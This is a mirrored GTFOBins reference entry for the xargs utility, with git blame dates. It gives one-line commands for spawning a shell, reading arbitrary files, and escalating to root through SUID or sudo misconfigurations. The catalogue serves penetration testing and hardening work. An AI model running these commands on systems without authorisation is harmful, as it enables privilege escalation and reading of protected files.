1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/xargs.md

18 lines
562 B
Markdown
Raw Normal View History

2018-05-30 09:36:30 +02:00
---
functions:
2018-09-06 22:32:14 +02:00
execute-interactive:
- description: GNU version only.
code: xargs -a /dev/null sh
file-read:
2018-07-16 15:01:50 +02:00
- description: This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only.
code: |
LFILE=file_to_read
xargs -a "$LFILE" -0
2018-07-04 20:26:52 +02:00
suid-enabled:
2018-09-06 22:32:14 +02:00
- description: GNU version only.
code: ./xargs -a /dev/null sh -p
2018-07-04 20:26:52 +02:00
sudo-enabled:
2018-09-06 22:32:14 +02:00
- description: GNU version only.
code: sudo xargs -a /dev/null sh
2018-05-30 09:36:30 +02:00
---